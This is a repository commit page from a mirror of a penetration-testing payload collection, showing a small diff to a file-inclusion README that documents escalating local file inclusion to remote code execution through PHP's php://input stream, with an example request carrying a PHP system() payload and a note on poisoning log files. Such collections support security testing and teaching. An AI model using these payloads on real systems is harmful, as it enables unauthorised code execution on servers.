ch0ic3/PayloadsAllTheThings
1
0
Fork 0
mirror of https://github.com/swisskyrepo/PayloadsAllTheThings.git synced 2024-12-24 05:15:26 +00:00
Code Issues Actions Packages Projects Releases Wiki Activity

LFI to RCE via input:// stream

Browse Source
This commit is contained in:
Swissky 2017-09-24 00:37:56 +02:00
parent 3e6043be32
commit 87ef554e40
1 changed files with 5 additions and 5 deletions
Show Stats Download Patch File Download Diff File Expand all files Collapse all files

10
File Inclusion - Path Traversal/README.md
View File

@ -117,11 +117,11 @@ Use the script phpInfoLFI.py (also available at https://www.insomniasec.com/down
## LFI to RCE via input:// stream
TODO
file=php://input
(specify your payload in the POST parameters,
Specify your payload in the POST parameters
```
http://example.com/index.php?page=php://input
POST DATA: <? system('id'); ?>
```
## LFI to RCE via controlled log file
Just append your PHP code into the log file and include it.